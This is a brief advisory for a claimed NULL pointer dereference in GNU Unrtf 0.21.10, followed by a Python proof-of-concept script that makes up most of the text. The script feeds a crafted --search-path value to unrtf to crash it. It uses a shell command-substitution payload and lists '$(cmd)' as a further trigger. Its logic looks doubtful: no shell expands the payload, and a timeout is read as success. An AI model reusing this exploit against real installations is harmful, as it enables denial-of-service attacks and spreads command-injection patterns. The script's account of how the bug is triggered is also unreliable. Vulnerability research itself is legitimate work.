A NULL pointer dereference in the src/path.c component of GNU Unrtf v0.21.10 allows attackers to cause a Denial of Service (DoS) via injecting a crafted payload into the search_path parameter.
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3
"""
CVE-2025-65411 PoC - GNU Unrtf NULL Pointer Dereference
This PoC demonstrates how a crafted search_path parameter can trigger
NULL pointer dereference in src/path.c leading to DoS.
"""
import subprocess
import sys
import os
def generate_malicious_payload():
"""
Generate a malicious payload that triggers NULL pointer dereference
The payload exploits the search_path parameter handling in path.c
"""
# Crafted payload that causes NULL pointer dereference
# This payload contains special characters that lead to path resolution failure
malicious_path = "$(echo 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA')"
return malicious_path
def trigger_vulnerability(payload):
"""
Trigger the vulnerability using the malicious payload
"""
print(f"[*] Triggering CVE-2025-65411 with payload: {payload}")
print("[*] This should cause Unrtf to crash with NULL pointer dereference\n")
# Method 1: Via command line search_path parameter
cmd = ["unrtf", f"--search-path={payload}", "test.rtf"]
try:
# Create a minimal RTF file if it doesn't exist
if not os.path.exists("test.rtf"):
with open("test.rtf", "w") as f:
f.write("{\\rtf1 test}")
result = subprocess.run(cmd, capture_output=True, timeout=5)
print(f"[!] Process exited with code: {result.returncode}")
except subprocess.TimeoutExpired:
print("[+] Timeout - process hung (may indicate vulnerability)")
except FileNotFoundError:
print("[-] unrtf not found. Please install GNU Unrtf 0.21.10")
except Exception as e:
print(f"[-] Error: {e}")
def main():
print("=" * 60)
print("CVE-2025-65411 PoC - GNU Unrtf NULL Pointer Dereference")
print("=" * 60)
payload = generate_malicious_payload()
trigger_vulnerability(payload)
print("\n[*] Alternative trigger methods:")
print(" 1. unrtf --search-path='$(cmd)' file.rtf")
print(" 2. Export SEARCH_PATH='malicious_value' && unrtf file.rtf")
print(" 3. Modify RTF file to reference external paths")
if __name__ == "__main__":
main()